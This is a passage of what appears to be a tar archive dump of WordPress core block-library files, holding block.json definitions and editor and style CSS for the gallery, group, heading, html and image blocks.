.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{ margin-right:1em; width:calc(12.5% - .875em); } .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){ margin-right:0; } } .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{ margin-right:0; } .blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{ max-width:420px; width:100%; } .blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{ justify-content:center; } .wp-block-gallery:not(.is-cropped) .blocks-gallery-item{ align-self:flex-start; } figure.wp-block-gallery.has-nested-images{ align-items:normal; } .wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){ margin:0; width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2); } .wp-block-gallery.has-nested-images figure.wp-block-image{ box-sizing:border-box; display:flex; flex-direction:column; flex-grow:1; justify-content:center; max-width:100%; position:relative; } .wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{ flex-direction:column; flex-grow:1; margin:0; } .wp-block-gallery.has-nested-images figure.wp-block-image img{ display:block; height:auto; max-width:100% !important; width:auto; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{ background:linear-gradient(0deg, rgba(0,0,0,.7), rgba(0,0,0,.3) 70%, transparent); bottom:0; box-sizing:border-box; color:#fff; font-size:13px; left:0; margin-bottom:0; max-height:60%; overflow:auto; padding:0 8px 8px; position:absolute; text-align:center; width:100%; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{ display:inline; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{ color:inherit; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{ box-sizing:border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{ flex:1 1 auto; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{ background:none; color:inherit; flex:initial; margin:0; padding:10px 10px 9px; position:relative; } .wp-block-gallery.has-nested-images figcaption{ flex-basis:100%; flex-grow:1; text-align:center; } .wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){ margin-bottom:auto; margin-top:0; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){ align-self:inherit; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){ display:flex; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{ flex:1 0 0%; height:100%; object-fit:cover; width:100%; } .wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){ width:100%; } @media (min-width:600px){ .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){ width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667); } .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){ width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75); } .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){ width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8); } .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){ width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333); } .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){ width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714); } .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){ width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){ width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){ width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{ width:100%; } } .wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{ max-width:420px; width:100%; } .wp-block-gallery.has-nested-images.aligncenter{ justify-content:center; }blocks/group/block.json000064400000000764151202620300011140 0ustar00{ "apiVersion": 2, "name": "core/group", "category": "design", "attributes": { "tagName": { "type": "string", "default": "div" }, "templateLock": { "type": "string" } }, "supports": { "align": [ "wide", "full" ], "anchor": true, "html": false, "color": { "gradients": true, "link": true }, "spacing": { "padding": true }, "__experimentalBorder": { "radius": true } }, "editorStyle": "wp-block-group-editor", "style": "wp-block-group" } blocks/group/editor.min.css000064400000005024151202620300011727 0ustar00.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;content:"";display:flex;flex:1 0 48px;min-height:46px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.wp-block-group__placeholder .wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;list-style:none;margin:0;padding:0;width:100%}.wp-block-group__placeholder .components-placeholder__instructions{margin-bottom:18px;text-align:center}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{fill:#ccc!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{fill:var(--wp-admin-theme-color)!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;margin:0 12px 12px;width:auto}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{height:32px;padding:0;width:44px}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{box-shadow:none}.wp-block-group__placeholder .components-placeholder{min-height:auto;padding:24px}.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{margin:12px}blocks/group/style-rtl.min.css000064400000000046151202620300012377 0ustar00.wp-block-group{box-sizing:border-box}blocks/group/theme.css000064400000000103151202620300010752 0ustar00:where(.wp-block-group.has-background){ padding:1.25em 2.375em; }blocks/group/theme-rtl.min.css000064400000000076151202620300012344 0ustar00:where(.wp-block-group.has-background){padding:1.25em 2.375em}blocks/group/editor.css000064400000005352151202620300011151 0ustar00.wp-block-group .block-editor-block-list__insertion-point{ left:0; right:0; } [data-type="core/group"].is-selected .block-list-appender{ margin-left:0; margin-right:0; } [data-type="core/group"].is-selected .has-background .block-list-appender{ margin-bottom:18px; margin-top:18px; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{ gap:inherit; pointer-events:none; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{ display:inherit; flex:1; flex-direction:inherit; width:100%; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{ border:1px dashed; border-radius:2px; content:""; display:flex; flex:1 0 48px; min-height:46px; pointer-events:none; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{ background:currentColor; bottom:0; content:""; left:0; opacity:.1; pointer-events:none; position:absolute; right:0; top:0; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{ pointer-events:all; } .wp-block-group__placeholder .wp-block-group-placeholder__variations{ display:flex; flex-direction:row; flex-wrap:wrap; justify-content:center; list-style:none; margin:0; padding:0; width:100%; } .wp-block-group__placeholder .components-placeholder__instructions{ margin-bottom:18px; text-align:center; } .wp-block-group__placeholder .wp-block-group-placeholder__variations svg{ fill:#ccc !important; } .wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{ fill:var(--wp-admin-theme-color) !important; } .wp-block-group__placeholder .wp-block-group-placeholder__variations>li{ align-items:center; display:flex; flex-direction:column; margin:0 12px 12px; width:auto; } .wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{ height:32px; padding:0; width:44px; } .wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{ box-shadow:none; } .wp-block-group__placeholder .components-placeholder{ min-height:auto; padding:24px; } .wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{ margin:12px; }blocks/group/theme.min.css000064400000000076151202620300011545 0ustar00:where(.wp-block-group.has-background){padding:1.25em 2.375em}blocks/group/style.min.css000064400000000046151202620300011600 0ustar00.wp-block-group{box-sizing:border-box}blocks/group/theme-rtl.css000064400000000103151202620300011551 0ustar00:where(.wp-block-group.has-background){ padding:1.25em 2.375em; }blocks/group/editor-rtl.css000064400000005352151202620300011750 0ustar00.wp-block-group .block-editor-block-list__insertion-point{ left:0; right:0; } [data-type="core/group"].is-selected .block-list-appender{ margin-left:0; margin-right:0; } [data-type="core/group"].is-selected .has-background .block-list-appender{ margin-bottom:18px; margin-top:18px; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{ gap:inherit; pointer-events:none; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{ display:inherit; flex:1; flex-direction:inherit; width:100%; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{ border:1px dashed; border-radius:2px; content:""; display:flex; flex:1 0 48px; min-height:46px; pointer-events:none; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{ background:currentColor; bottom:0; content:""; left:0; opacity:.1; pointer-events:none; position:absolute; right:0; top:0; } .wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{ pointer-events:all; } .wp-block-group__placeholder .wp-block-group-placeholder__variations{ display:flex; flex-direction:row; flex-wrap:wrap; justify-content:center; list-style:none; margin:0; padding:0; width:100%; } .wp-block-group__placeholder .components-placeholder__instructions{ margin-bottom:18px; text-align:center; } .wp-block-group__placeholder .wp-block-group-placeholder__variations svg{ fill:#ccc !important; } .wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{ fill:var(--wp-admin-theme-color) !important; } .wp-block-group__placeholder .wp-block-group-placeholder__variations>li{ align-items:center; display:flex; flex-direction:column; margin:0 12px 12px; width:auto; } .wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{ height:32px; padding:0; width:44px; } .wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{ box-shadow:none; } .wp-block-group__placeholder .components-placeholder{ min-height:auto; padding:24px; } .wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{ margin:12px; }blocks/group/editor-rtl.min.css000064400000005024151202620300012526 0ustar00.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;content:"";display:flex;flex:1 0 48px;min-height:46px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.wp-block-group__placeholder .wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;list-style:none;margin:0;padding:0;width:100%}.wp-block-group__placeholder .components-placeholder__instructions{margin-bottom:18px;text-align:center}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{fill:#ccc!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{fill:var(--wp-admin-theme-color)!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;margin:0 12px 12px;width:auto}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{height:32px;padding:0;width:44px}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{box-shadow:none}.wp-block-group__placeholder .components-placeholder{min-height:auto;padding:24px}.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{margin:12px}blocks/group/style-rtl.css000064400000000053151202620300011613 0ustar00.wp-block-group{ box-sizing:border-box; }blocks/group/style.css000064400000000053151202620300011014 0ustar00.wp-block-group{ box-sizing:border-box; }blocks/heading/block.json000064400000002462151202620300011400 0ustar00{ "apiVersion": 2, "name": "core/heading", "category": "text", "attributes": { "textAlign": { "type": "string" }, "content": { "type": "string", "source": "html", "selector": "h1,h2,h3,h4,h5,h6", "default": "" }, "level": { "type": "number", "default": 2 }, "placeholder": { "type": "string" } }, "supports": { "align": [ "wide", "full" ], "anchor": true, "className": false, "color": { "link": true }, "fontSize": true, "lineHeight": true, "__experimentalSelector": { "core/heading/h1": { "selector": "h1", "title": "h1", "attributes": { "level": 1 } }, "core/heading/h2": { "selector": "h2", "title": "h2", "attributes": { "level": 2 } }, "core/heading/h3": { "selector": "h3", "title": "h3", "attributes": { "level": 3 } }, "core/heading/h4": { "selector": "h4", "title": "h4", "attributes": { "level": 4 } }, "core/heading/h5": { "selector": "h5", "title": "h5", "attributes": { "level": 5 } }, "core/heading/h6": { "selector": "h6", "title": "h6", "attributes": { "level": 6 } } }, "__unstablePasteTextInline": true }, "editorStyle": "wp-block-heading-editor", "style": "wp-block-heading" } blocks/heading/style-rtl.min.css000064400000001767151202620300012655 0ustar00h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}blocks/heading/style.min.css000064400000001767151202620300012056 0ustar00h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}blocks/heading/style-rtl.css000064400000002002151202620300012052 0ustar00h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{ padding:1.25em 2.375em; } h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){ rotate:180deg; }blocks/heading/style.css000064400000002002151202620300011253 0ustar00h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{ padding:1.25em 2.375em; } h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){ rotate:180deg; }blocks/html/block.json000064400000000421151202620300010736 0ustar00{ "apiVersion": 2, "name": "core/html", "category": "widgets", "attributes": { "content": { "type": "string", "source": "html" } }, "supports": { "customClassName": false, "className": false, "html": false }, "editorStyle": "wp-block-html-editor" } blocks/html/editor.min.css000064400000001365151202620300011543 0ustar00.block-library-html__edit .block-library-html__preview-overlay{height:100%;left:0;position:absolute;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid transparent!important}blocks/html/editor.css000064400000001515151202620300010756 0ustar00.block-library-html__edit .block-library-html__preview-overlay{ height:100%; left:0; position:absolute; top:0; width:100%; } .block-library-html__edit .block-editor-plain-text{ background:#fff !important; border:1px solid #1e1e1e !important; border-radius:2px !important; box-shadow:none !important; box-sizing:border-box; color:#1e1e1e !important; font-family:Menlo,Consolas,monaco,monospace !important; font-size:16px !important; max-height:250px; padding:12px !important; } @media (min-width:600px){ .block-library-html__edit .block-editor-plain-text{ font-size:13px !important; } } .block-library-html__edit .block-editor-plain-text:focus{ border-color:var(--wp-admin-theme-color) !important; box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important; outline:2px solid transparent !important; }blocks/html/editor-rtl.css000064400000001516151202620300011556 0ustar00.block-library-html__edit .block-library-html__preview-overlay{ height:100%; position:absolute; right:0; top:0; width:100%; } .block-library-html__edit .block-editor-plain-text{ background:#fff !important; border:1px solid #1e1e1e !important; border-radius:2px !important; box-shadow:none !important; box-sizing:border-box; color:#1e1e1e !important; font-family:Menlo,Consolas,monaco,monospace !important; font-size:16px !important; max-height:250px; padding:12px !important; } @media (min-width:600px){ .block-library-html__edit .block-editor-plain-text{ font-size:13px !important; } } .block-library-html__edit .block-editor-plain-text:focus{ border-color:var(--wp-admin-theme-color) !important; box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important; outline:2px solid transparent !important; }blocks/html/editor-rtl.min.css000064400000001366151202620300012343 0ustar00.block-library-html__edit .block-library-html__preview-overlay{height:100%;position:absolute;right:0;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid transparent!important}blocks/image/block.json000064400000002556151202620300011067 0ustar00{ "apiVersion": 2, "name": "core/image", "category": "media", "attributes": { "align": { "type": "string" }, "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "title": { "type": "string", "source": "attribute", "selector": "img", "attribute": "title" }, "href": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "href" }, "rel": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "class" }, "id": { "type": "number" }, "width": { "type": "number" }, "height": { "type": "number" }, "sizeSlug": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "target" } }, "supports": { "anchor": true, "__experimentalBorder": { "radius": true } }, "editorStyle": "wp-block-image-editor", "style": "wp-block-image" } blocks/image/editor.min.css000064400000005334151202620300011661 0ustar00.wp-block-image.wp-block-image.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;filter:none!important}.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{opacity:0}.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-image.wp-block-image.is-selected .components-placeholder:before{opacity:0}.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{transition:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container 